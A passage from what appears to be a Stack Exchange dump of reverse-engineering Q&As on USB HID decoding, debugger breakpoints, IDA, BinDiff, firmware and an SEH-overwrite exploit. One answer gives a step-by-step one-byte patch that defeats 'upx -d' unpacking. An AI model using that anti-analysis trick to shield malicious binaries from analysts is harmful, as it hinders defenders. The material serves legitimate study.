<\nffff88008954e900 3348991686 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348991715 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348992686 C Ii:1:003:1 0:1 8 = 00002400 00000000\nffff88008954e900 3348992714 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348993681 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348993690 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348994667 C Ii:1:003:1 0:1 8 = 00002e00 00000000\nffff88008954e900 3348994692 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348995668 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348995684 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348996668 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3348996682 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348997670 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348997684 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348998713 C Ii:1:003:1 0:1 8 = 00001f00 00000000\nffff88008954e900 3348998750 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348999678 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348999709 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349000690 C Ii:1:003:1 0:1 8 = 00002000 00000000\nffff88008954e900 3349000721 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349001690 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349001721 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349002689 C Ii:1:003:1 0:1 8 = 00002100 00000000\nffff88008954e900 3349002720 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349003692 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349003724 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349004687 C Ii:1:003:1 0:1 8 = 00002200 00000000\nffff88008954e900 3349004717 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349005688 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349005718 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349006687 C Ii:1:003:1 0:1 8 = 00002300 00000000\nffff88008954e900 3349006717 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349007675 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349007701 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349008687 C Ii:1:003:1 0:1 8 = 00002400 00000000\nffff88008954e900 3349008715 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349009682 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349009712 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349010681 C Ii:1:003:1 0:1 8 = 00002500 00000000\nffff88008954e900 3349010711 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349011681 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349011710 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349012690 C Ii:1:003:1 0:1 8 = 00002600 00000000\nffff88008954e900 3349012719 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349013673 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349013682 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349014697 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3349014727 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349015678 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349015706 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349016692 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3349016721 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349017699 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349017727 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349018679 C Ii:1:003:1 0:1 8 = 00001f00 00000000\nffff88008954e900 3349018706 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349020676 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349020703 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349021688 C Ii:1:003:1 0:1 8 = 02003800 00000000\nffff88008954e900 3349021720 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349022673 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349022683 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349023676 C Ii:1:003:1 0:1 8 = 02002e00 00000000\nffff88008954e900 3349023706 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349024670 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349024680 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349025670 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3349025680 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349026671 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349026679 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349027670 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3349027678 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349028677 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349028705 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349029681 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3349029707 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349030680 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349030706 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349031693 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3349031721 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349032680 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349032707 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349033685 C Ii:1:003:1 0:1 8 = 00001f00 00000000\nffff88008954e900 3349033713 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349034681 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349034707 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349035679 C Ii:1:003:1 0:1 8 = 00002400 00000000\nffff88008954e900 3349035706 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349036676 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349036703 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349037690 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3349037718 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349038677 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349038703 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349039691 C Ii:1:003:1 0:1 8 = 00002000 00000000\nffff88008954e900 3349039719 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349040677 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349040704 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349041692 C Ii:1:003:1 0:1 8 = 00002500 00000000\nffff88008954e900 3349041720 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349042677 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349042704 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349043690 C Ii:1:003:1 0:1 8 = 02003800 00000000\nffff88008954e900 3349043721 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349044684 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349044698 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349045681 C Ii:1:003:1 0:1 8 = 00005800 00000000\nffff88008954e900 3349045710 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3349046682 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349046709 S Ii:1:003:1 -115:1 8 <\n
\n\n

As you can see, the characters 'SINGH' (my last name) appear in the on-screen output, but I can't find those ASCII values anywhere in the data. How should I go about reverse engineering this device?

\n\n

EDIT:\nThanks to Igor's answer I got the Report Descriptors, but I'm not quite sure how to make use of them:

\n\n
  Report Descriptor: (length is 76)\n    Item(Global): Usage Page, data= [ 0x01 ] 1\n                    Generic Desktop Controls\n    Item(Local ): Usage, data= [ 0x06 ] 6\n                    Keyboard\n    Item(Main  ): Collection, data= [ 0x01 ] 1\n                    Application\n    Item(Global): Usage Page, data= [ 0x07 ] 7\n                    Keyboard\n    Item(Local ): Usage Minimum, data= [ 0xe0 ] 224\n                    Control Left\n    Item(Local ): Usage Maximum, data= [ 0xe7 ] 231\n                    GUI Right\n    Item(Global): Logical Minimum, data= [ 0x00 ] 0\n    Item(Global): Logical Maximum, data= [ 0x01 ] 1\n    Item(Global): Report Size, data= [ 0x01 ] 1\n    Item(Global): Report Count, data= [ 0x08 ] 8\n    Item(Main  ): Input, data= [ 0x02 ] 2\n                    Data Variable Absolute No_Wrap Linear\n                    Preferred_State No_Null_Position Non_Volatile Bitfield\n    Item(Global): Report Count, data= [ 0x01 ] 1\n    Item(Global): Report Size, data= [ 0x08 ] 8\n    Item(Main  ): Input, data= [ 0x03 ] 3\n                    Constant Variable Absolute No_Wrap Linear\n                    Preferred_State No_Null_Position Non_Volatile Bitfield\n    Item(Global): Report Count, data= [ 0x05 ] 5\n    Item(Global): Report Size, data= [ 0x01 ] 1\n    Item(Global): Usage Page, data= [ 0x08 ] 8\n                    LEDs\n    Item(Local ): Usage Minimum, data= [ 0x01 ] 1\n                    NumLock\n    Item(Local ): Usage Maximum, data= [ 0x05 ] 5\n                    Kana\n    Item(Main  ): Output, data= [ 0x02 ] 2\n                    Data Variable Absolute No_Wrap Linear\n                    Preferred_State No_Null_Position Non_Volatile Bitfield\n    Item(Global): Report Count, data= [ 0x01 ] 1\n    Item(Global): Report Size, data= [ 0x03 ] 3\n    Item(Main  ): Output, data= [ 0x03 ] 3\n                    Constant Variable Absolute No_Wrap Linear\n                    Preferred_State No_Null_Position Non_Volatile Bitfield\n    Item(Global): Report Count, data= [ 0x06 ] 6\n    Item(Global): Report Size, data= [ 0x08 ] 8\n    Item(Global): Logical Minimum, data= [ 0x00 ] 0\n    Item(Global): Logical Maximum, data= [ 0x66 ] 102\n    Item(Global): Usage Page, data= [ 0x07 ] 7\n                    Keyboard\n    Item(Local ): Usage Minimum, data= [ 0x00 ] 0\n                    No Event\n    Item(Local ): Usage Maximum, data= [ 0x66 ] 102\n                    Power (not a key)\n    Item(Main  ): Input, data= [ 0x00 ] 0\n                    Data Array Absolute No_Wrap Linear\n                    Preferred_State No_Null_Position Non_Volatile Bitfield\n    Item(Global): Logical Maximum, data= [ 0xff 0x00 ] 255\n    Item(Global): Usage Page, data= [ 0x00 0xff ] 65280\n                    (null)\n    Item(Local ): Usage, data= [ 0x20 ] 32\n                    (null)\n    Item(Global): Report Count, data= [ 0x18 ] 24\n    Item(Main  ): Feature, data= [ 0x02 0x01 ] 258\n                    Data Variable Absolute No_Wrap Linear\n                    Preferred_State No_Null_Position Non_Volatile Buffered Bytes\n    Item(Main  ): End Collection, data=none\n
\n", "Title": "Reverse engineering a USB magstripe card reader", "Tags": "|usb|", "Answer": "

Since it uses HID class, you should probably check the USB HID Spec from USB.org. The relevant part seems to be the section 8, \"Report Protocol\":

\n\n
\n

8.1 Report Types

\n \n

Reports contain data from one or more items. Data transfers are sent from the device to the host through the Interrupt In pipe in the form of reports. Reports may also be requested (polled)\n and sent through the Control pipe or sent through an optional\n Interrupt Out pipe. A report contains the state of all the items\n (Input, Output or Feature) belonging to a particular Report ID. The\n software application is responsible for extracting the individual\n items from the report based on the Report descriptor.

\n
\n\n

Ii in the usbmon log refer to \"Interrupt In\", so these are \"reports\" from the device. Looks like the changing bytes in the data packets (such as 22, 27, 1e, 1f) correspond to keyboard keys. It seems that to figure out the mapping you need to parse the \"Report Descriptor\", which can be done by lsusb if you first detach the default driver.

\n" }, { "Id": "3261", "CreationDate": "2013-12-22T16:17:18.743", "Body": "

I am a C/C++ developer and I have started learning assembly language programming with the goal to become a malware analyst.

\n\n

I know it is not enough to just know how to read assembly to become a malware analyst. But won't it help a lot and make the remaining things easier?

\n", "Title": "Is learning assembly enough to become a malware analyst?", "Tags": "|malware|assembly|binary-analysis|vulnerability-analysis|", "Answer": "

When I started with Malware Analyses at some anti-virus vendor. I only had reversed a couple of aspects of video games and created a number of tools to extract graphics etc. I also knew a fair bit of malware culture etc.. Read a lot of Malware source code (vxheavens) and all that jazz.

\n\n

I however, didn't know about Obfuscation, unpacking, shellcode etc. This is something I learned over the course of a few years while on the job.

\n\n

However, a SOLID understanding of x86 and your debugging / dis-assembler is required!

\n" }, { "Id": "3277", "CreationDate": "2013-12-25T01:56:13.093", "Body": "

I recently acquired an exploit for an image viewer program and started analyzing.

\n\n

Specific details cannot be given, but basically it is a SEH overwrite exploit using malicious image file.

\n\n

Using immunity dbg, I saw that SEH being overwritten by 38 4c 5c 36. But dbg fails to execute that memory address.

\n\n

Exploit executes calc just fine, but by attaching a debugger to the viewer program, it hangs trying to execute 38 4c 5c 36.

\n\n

I tried to jump to that address but dbg says it is a unspecified address. I have a few questions about this memory address

\n\n
    \n

  1. what kind of data is loaded in memory address near 38 4c 5c 36 ? (looking at the memory map it is between loaded dll files and nothing is loaded it seems)

    2. \n

  2. is 38 4c 5c 36 where the exploit is loaded in the memory or am I making a wrong guess?

    3. \n

  3. If it is where exploit is loaded, what should I do to further analyze using a debugger?

    4. \n
\n\n

Thank you in advance :)

\n", "Title": "Need help analyzing an image viewer exploit", "Tags": "|exploit|seh|", "Answer": "

Standard exploitation of SEH based BoF will try to point the SE Handler to a POP/POP/RET instruction. This is not always the case depending on enabled memory protections. (use Mona plugin for Immunity to check this using the command !mona mod, or simply inspect the vulnerable binary characteristics)

\n\n

If your SE Handler is pointing to 0x384c5c36, you should put a break point at that address and hit Shift+F9 to continue execution up to your breakpoint.

\n\n

The rest will greatly vary on the nature of the exploit and the kind of limitations it has to bypass. As it an image viewer, I doubt the exploit will use any techniques like heap spraying as it can execute any code that will spray the heap, like JavaScript, but you never know.

\n\n

For more information on SEH based overflows, I would strongly recommend the Corelan Tutorial.

\n" }, { "Id": "3288", "CreationDate": "2013-12-26T09:46:38.627", "Body": "

I am trying to find what a button does, so I want to set a breakpoint to catch button click event. Is that possible?

\n\n

Any tools or tricks to assist in this?

\n", "Title": "How can I set a breakpoint for a button click?", "Tags": "|windows|ollydbg|", "Answer": "

open calc.exe in ollydbg c:\\ollydbg.exe calc.exe
\npress Ctrl + G and type GetMessageW
\npress F2 to set a breakpoint and press F9 until it breaks
\nwhen it is broken press ctrl+f9 to run until return
\npress shift+f4 to set a conditional log breakpoint
\nin the expression edit box type [esp+4]
\nin the decode value of expression select pointer to MSG structure (UNICODE)
\nset radio button pause to never
\nset radio button log expression to Always
\nhit ok
\nnow look at log window for all the messages that are handled
\nrefine your conditional breakpoint to handle only the cases you want to examine \nfor example this condition will log only mouseup and wm_char messages

\n\n
Breakpoints, item 1\n Address=7E41920E\n Module=USER32\n Active=Log when [[esp+4]+4] == WM_KEYDOWN || [[esp+4]+4] == WM_LBUTTONUP\n Disassembly=RETN    10\n
\n\n

like results posted below notice the hwnd for each button you can refine to a multiple condition with a specifc Window Handle hWnd 2e048a etc

\n\n
\\Log data\nMessage\nCOND: 0007FEE8 WM_LBUTTONUP hw = 2E048A (\"C\") Keys = 0 X = 57. Y = 14.\nCOND: 0007FEE8 WM_LBUTTONUP hw = 10053E (\"And\") Keys = 0 X = 22. Y = 10.\nCOND: 0007FEE8 WM_LBUTTONUP hw = 200404 (\"Xor\") Keys = 0 X = 22. Y = 18.\nCOND: 0007FEE8 WM_LBUTTONUP hw = 270402 (\"M+\") Keys = 0 X = 22. Y = 11.\nCOND: 0007FEE8 WM_LBUTTONUP hw = D036A (\"Sta\") Keys = 0 X = 27. Y = 15.\nCOND: 0007FEE8 WM_LBUTTONUP hw = 1B04F0 (\"x^2\") Keys = 0 X = 18. Y = 17.\nCOND: 0007FEE8 WM_KEYDOWN hw = 1B04F0 (\"x^2\") Key = 35  ('5') KeyData = 60001\nCOND: 0007FEE8 WM_KEYDOWN hw = 4303EC (class=\"Edit\") Key = 42  ('B') KeyData = 300001\nCOND: 0007FEE8 WM_KEYDOWN hw = 4303EC (class=\"Edit\") Key = 41  ('A') KeyData = 1E0001\n
\n\n

to simulate same in windbg put this commands in a txt file and run windbg (you should have skywings sdbgext extension loaded for verbose display )

\n\n
bp user32!GetMessageW \"pt;gc\"\ng\nbc *\n.load sdbgext\nbp @eip \".if (poi(poi(esp+4)+4) == 0x202) {!hwnd poi(poi(esp+4));gc } .else {gc}\"\ng\n\nwindbg  -c \"$$>a< ......\\wtf.txt\" calc\n\nWindow    00600438\nName      And\nClass     Button\nWndProc   00000000\nStyle     WS_OVERLAPPED \nExStyle   WS_EX_NOPARENTNOTIFY WS_EX_LEFT WS_EX_LTRREADING WS_EX_RIGHTSCROLLBAR \nHInstance 01000000\nParentWnd 00490534\nId        00000056\nUserData  00000000\nUnicode   TRUE\nThreadId  00000df0\nProcessId 00000f68\nWindow    00150436\nName      Xor\nClass     Button\nWndProc   00000000\nStyle     WS_OVERLAPPED \n
\n" }, { "Id": "3296", "CreationDate": "2013-12-27T11:34:58.947", "Body": "

I need extract this firmware file. I tried firmwaremodkit and binwalk. It founds two trx headers, but cannot open it.( delete start in hexedit and untrx throws segfault, fmk found nothing)...

\n\n

Interesting is the constant repetition of the sequence: 00 00 11 53 48 44 52

\n\n

Some tips how extract it?

\n\n

http://uloz.to/xY4X3cPh/download-dwn

\n", "Title": "How extract this firmware file?", "Tags": "|firmware|", "Answer": "

It is an encrypted firmware of the GBR2851T Freeview HD Digital Receiver, so you cannot extract it without the proper encryption key.
\nIf you are interested in i-CAN (ADB) internals, see the following vulnerability report http://www.security-explorations.com/materials/se-2011-01-adb.pdf.

\n" }, { "Id": "3305", "CreationDate": "2013-12-28T19:51:11.293", "Body": "

I attached Ollydbg to a process, and try to set breakpoint on CreateWindowExW. I typed

\n\n
bpx CreateWindowExW\n
\n\n

in command line. Then I checked the Breakpoints window and found it's totally empty.

\n\n

The same thing works smoothly in IDA pro -- I attached IDA pro to the process I'm going to debug, then in \"Modules\" window, I choose user32.dll and right click on CreateWindowExW and choose \"Add breakpoint\".

\n\n

Actually, I found setting breakpoint on Win32 API in Ollydbg is very very hard to use. Based on all information I got by Google, I only need to run bpx xxxxx to set this kind of breakpoints, but in fact, it's rarely success. Most of time, no breakpoints were set by this.

\n\n

Did I miss something?

\n\n

BTW: The process I debugged loaded a lot of DLLs dynamically. Is this the problem?

\n", "Title": "Setting breakpoint on Win32 API does not work in Ollydbg", "Tags": "|ollydbg|", "Answer": "

ollydbg command line plugin accepts BP for Address and BPX for labels

\n\n

so if you require that breakpoint be set in Address use bp CreateWindowExW

\n\n

if you used bpx and no calls existed plugin will open a search for intermodular calls window for you to manually search for the interested api

\n\n

if you have a call like this

\n\n
010020ED FF15 A4110001   CALL    NEAR DWORD PTR DS:[<&USER32.CreateWindow>; USER32.CreateWindowExW\n
\n\n

plugin will set a break on this call with BPX style \nfor bp style you would need to use bp 10020ED

\n" }, { "Id": "3322", "CreationDate": "2013-12-29T23:33:04.030", "Body": "

How Can I save IDA Pro's normal graph view as image?
\nIs there any tool or plugin for that?

\n", "Title": "Saving IDA graphs as image", "Tags": "|ida|ida-plugin|", "Answer": "

You can save the graph as a .gdl file. You can then use graph-easy to convert the GDL file to an image file such as SVG, PNG, JPG etc.

\n\n
graph-easy --from gdl --input=graph.gdl --png --output=graph.png\n
\n" }, { "Id": "3323", "CreationDate": "2013-12-30T11:04:58.020", "Body": "

I recently read a tweet from Ange about a technique to fool UPX when the option -d (decompress) is called.

\n\n

I would like to know how this is working and, what are the technique to prevent an UPX packed executable to be decompressed through upx -d (if possible for, both, Linux and Windows).

\n", "Title": "How to prevent \"upx -d\" on an UPX packed executable?", "Tags": "|packers|upx|", "Answer": "

Fooling upx -d can be as simple as one byte patch here is a small sample.

\n

Pack the MS-Windows standard calc.exe, hexedit one byte and result is an undepackable executable with upx -d (this is not corrupting the exe, the exe will run and can be unpacked manually). Only unpacking with the -d switch wont work.

\n
    \n

  1. create a new folder foolupx:

    \n
     foolupx:\\>md foolupx\n
    \n
    2. \n

  2. copy calc.exe to the newly created folder:

    \n
     foolupx:\\>copy c:\\WINDOWS\\system32\\calc.exe foolupx\\upxedcalc.exe\n     1 file(s) copied.\n
    \n
    3. \n

  3. pack the renamed calc.exe:

    \n
     foolupx:\\>upx .\\foolupx\\upxedcalc.exe\n Ultimate Packer for eXecutables\n Copyright (C) 1996 - 2011\n UPX 3.08w       Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011\n\n     File size         Ratio      Format      Name\n    --------------------   ------   -----------   -----------\n      114688 ->     56832   49.55%    win32/pe     upxedcalc.exe\n\n Packed 1 file.\n
    \n
    4. \n

  4. Create a duplicate of the packed calc.exe for hexediting and compare the files. The difference is one byte in the PE header section named UPX0 changed to BPX0:

    \n
     foolupx:\\>copy .\\foolupx\\upxedcalc.exe .\\foolupx\\modupxedcalc.exe\n     1 file(s) copied.\n\n foolupx:\\>fc .\\foolupx\\upxedcalc.exe .\\foolupx\\modupxedcalc.exe\n Comparing files .\\FOOLUPX\\upxedcalc.exe and .\\FOOLUPX\\MODUPXEDCALC.EXE\n 000001E8: 55 42\n
    \n
    5. \n

  5. Uncompress both files with the -d switch. One will be unpacked, the other will not be unpacked:

    \n
     foolupx:\\>upx -d .\\foolupx\\modupxedcalc.exe\n Ultimate Packer for eXecutables\n Copyright (C) 1996 - 2011\n UPX 3.08w       Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011\n\n     File size         Ratio      Format      Name\n    --------------------   ------   -----------   -----------\n     upx: .\\foolupx\\modupxedcalc.exe: CantUnpackException: file is modified/hacked/protected; take care!!!\n\n Unpacked 0 files.\n\n foolupx:\\>upx -d .\\foolupx\\upxedcalc.exe\n Ultimate Packer for eXecutables\n Copyright (C) 1996 - 2011\n UPX 3.08w       Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011\n\n       File size         Ratio      Format      Name\n  --------------------   ------   -----------   -----------\n  114688 <-     56832   49.55%    win32/pe     upxedcalc.exe\n\n Unpacked 1 file.\n\n foolupx:\\>\n
    \n
    6. \n
\n" }, { "Id": "3327", "CreationDate": "2013-12-30T17:38:03.020", "Body": "

I have been trying to use IDA Pro (with bindiff) via IDAPython to automate the analysis process of a bios.dump file while outputting the results to a .txt / .asm file. From here I want to use the bindiff functions to compare this database with another database and output any differences to a file. Any recommendations?

\n", "Title": "IDA Pro/IDAPython automation through IDAPython", "Tags": "|ida|idapython|ida-plugin|bin-diffing|tool-bindiff|", "Answer": "

With the now free BinDiff 4.2 you can do batch analysis with a bit of work.

\n\n

In the BinDiff installation directory (zynamics/BinDiff 4.2), you will find bin/differ.exe and bin/differ64.exe. Those are binaries for batch diffing of IDBs and .BinExport files.

\n\n

The basic usage would be:

\n\n
differ --primary=<directory-with-IDBs> --output-dir=<output-directory>\n
\n\n

Sadly, this does not work (at least on my machine) as differ.exe fails to find IDA's executable and tries to execute the directory instead.

\n\n

To solve this, we will export IDBs using the following command:

\n\n
\"<path-to-idaq.exe>\" -A -OExporterModule:<result-directory> -S\"<path-to-export-script>\" \"<path-to-idb>\"\n
\n\n

The export-script is an .idc with the following code:

\n\n
#include <idc.idc>\n\nstatic main()\n{\n    Batch(0);\n    Wait();\n    Exit(1 - RunPlugin(\"zynamics_binexport_8\", 2));\n}\n
\n\n

Once you have all your .BinExport files in one directory, run the original differ.exe command on that directory (give it the directory with the .BinExport files instead of the .idb files), and you'll get .BinDiff files for all possible diffs. Those can either be opened up in IDA, or manually parsed (they are SQLite databases).

\n" }, { "Id": "3331", "CreationDate": "2013-12-31T02:29:55.723", "Body": "

How do I fix structures in IDA PRO so they show up properly in Hex-Rays plugin (C decompiler).

\n\n

Similar question to: (But the solution doesn't work for me)
Struct with negative offset in IDA possible

\n\n

Pretty much what happened is I compiled a very good program and it works right, after that I did many changes to it and now it works worse then the older version, I'm trying to figure out what I did wrong (since I lost the source code now) to revert back to the old version. (I also added below the original piece of the code written in C++, which didn't change between both versions).

\n\n

Structure's addresses somehow optimized in IDA PRO\nSuch as that

\n\n
*(_BYTE *)(shipsStruct + 279) = 1; //Ships[i].used = true;\n
\n\n

should really be [10x4]=40+255= 295

\n\n
*(_BYTE *)(shipsStruct + 295) = 1;  //Ships[i].used = true;\n
\n\n

You can tell the structure size right here (shipsStruct += 296;)

\n\n

I'm guessing somehow the un-used structure members are stripped out (but why is the structure size valid?).
\nSeems the assembly somehow is offset wrongly (how do I add the proper offset deltas to the struct to fix this)?

\n\n

When I try this tip http://www.hexblog.com/?p=63 \nMy whole IDA PRO freezes up when I select the line mov edi, offset dword_10004C38 and press T (IDA PRO 6.1)

\n\n

\"structoffset\"

\n\n

Seems I made my struct incorrectly?

\n\n

Here is how the code decompiled code looks like (without applying structure)

\n\n
  if ( playerListBaseAddress && !IsBadReadPtr(playerListBaseAddress, 4u) )\n  {\n    shipsStruct = (int)dword_10004C38;\n    while ( 1 )\n    {\n      playerPointer = (struct_v3 *)*((_DWORD *)playerListBaseAddress + maxPlayers);\n      if ( !playerPointer )\n        break;\n      if ( IsBadReadPtr(playerPointer, 4u) )\n        break;\n      *(_DWORD *)(shipsStruct - 4) = playerPointer->ssXCoord;\n      *(_DWORD *)shipsStruct = playerPointer->ssYCoord;\n      *(_DWORD *)(shipsStruct + 4) = playerPointer->ssXSpeed;\n      *(_DWORD *)(shipsStruct + 8) = playerPointer->ssYSpeed;\n      *(_DWORD *)(shipsStruct - 8) = playerPointer->ssFreq;\n      *(_DWORD *)(shipsStruct + 20) = playerPointer->ssShipNum;\n      if ( playerPointer->ssPlayerName )\n        strcpy_s((char *)(shipsStruct + 24), 0xFFu, &playerPointer->ssPlayerName);\n      *(_BYTE *)(shipsStruct + 279) = 1;\n      if ( v37 == playerPointer )\n        break;\n      shipsStruct += 296;\n      ++maxPlayers;\n      v37 = playerPointer;\n      if ( shipsStruct >= (signed int)&unk_10017310 )\n        goto finish;\n    }\n    v34 = maxPlayers;\n    if ( maxPlayers < 255 )\n    {\n      v4 = (int)((char *)&unk_10004D4F + 296 * maxPlayers);\n      do\n      {\n        *(_BYTE *)v4 = 0;\n        v4 += 296;\n      }\n      while ( v4 < (signed int)&unk_10017427 );\n    }\n
\n\n

Here is the orginal code (not decompiled written in C++)

\n\n
double currentTimer = GetTimer();\ndouble timeElapsed = currentTimer - lastTimer;\n\nint maxPlayers = 0;\nDWORD lastPlayerPtr = 0;\nif (playerListBaseAddress != NULL && !IsBadReadPtr((void *) playerListBaseAddress, sizeof(ULONG_PTR))) {\n    for (int i = 0; i < 255; i++) { //populate player ship list.\n    DWORD playerPtr = *(DWORD *) (playerListBaseAddress + (i * 4));\n\n    if (playerPtr != NULL && !IsBadReadPtr((void *) playerPtr, sizeof(ULONG_PTR))) {\n        Ships[i].XCoordinate = *(DWORD *) (playerPtr + 0x4);\n        Ships[i].YCoordinate = *(DWORD *) (playerPtr + 0x8);\n        Ships[i].XSpeed = *(signed long *) (playerPtr + 0x10);\n        Ships[i].YSpeed = *(signed long *) (playerPtr + 0x14);\n        Ships[i].Freq = *(DWORD *) (playerPtr + 0x58);\n        Ships[i].ShipNum = *(BYTE *) (playerPtr + 0x5C)\n        //memcpy(&(Ships[i].Name), (void*)((DWORD)playerPtr+0x6D), 19);\n        if (!*(BYTE *) (playerPtr + 0x6D) == NULL)\n        strcpy_s(Ships[i].Name, (char *) ((DWORD) playerPtr + 0x6D));\n        Ships[i].used = true;\n\n        if (lastPlayerPtr == playerPtr)\n        goto finishList;\n        lastPlayerPtr = playerPtr;\n    } else {\n      finishList:\n        maxPlayers = i;\n        for (int j = i; j < 255; j++)\n        Ships[j].used = false;\n        break;\n    }\n}\n
\n\n

Here is before and after (applying my custom struct)
\nI did the custom struct by doing a bunch of Arrays (* key), then setting proper sizes. (Guessing this isn't the proper way to make a structure in IDA PRO?)\n\"struct\"\n
Before:
\n\"before\"\n
After:
\n\"after\"\n
ASM:
\n\"asm\"\n
Edit Function
\n\"edit\n
Double clicked local variable
\n\"dbl

\n", "Title": "IDA PRO Structures Defining negative offset -4 -8 offset repair asm Hex-Rays", "Tags": "|ida|struct|", "Answer": "

This feature is supported since Hex-Rays 1.6:

\n\n

http://www.hexblog.com/?p=544

\n\n

(see section 3. CONTAINING_RECORD macro)

\n" }, { "Id": "3335", "CreationDate": "2013-12-31T21:43:59.333", "Body": "

Still on my way to understand how to prevent the usage of the -d (decompress) option of UPX (see this question), I try to identify the header file of UPX in ELF executable files.

\n\n

Looking at the code, all the sources seems to be in the files lx_elf.h and lx_elf.cpp (stands for Linux Elf). I tried to follow the code but I got lost in it...

\n\n

I also did take a look at the beginning of an UPX compressed executable file (amd64), visualized in 8-bytes per line mode for more clarity (and thanks to Corkami ELF-101):

\n\n
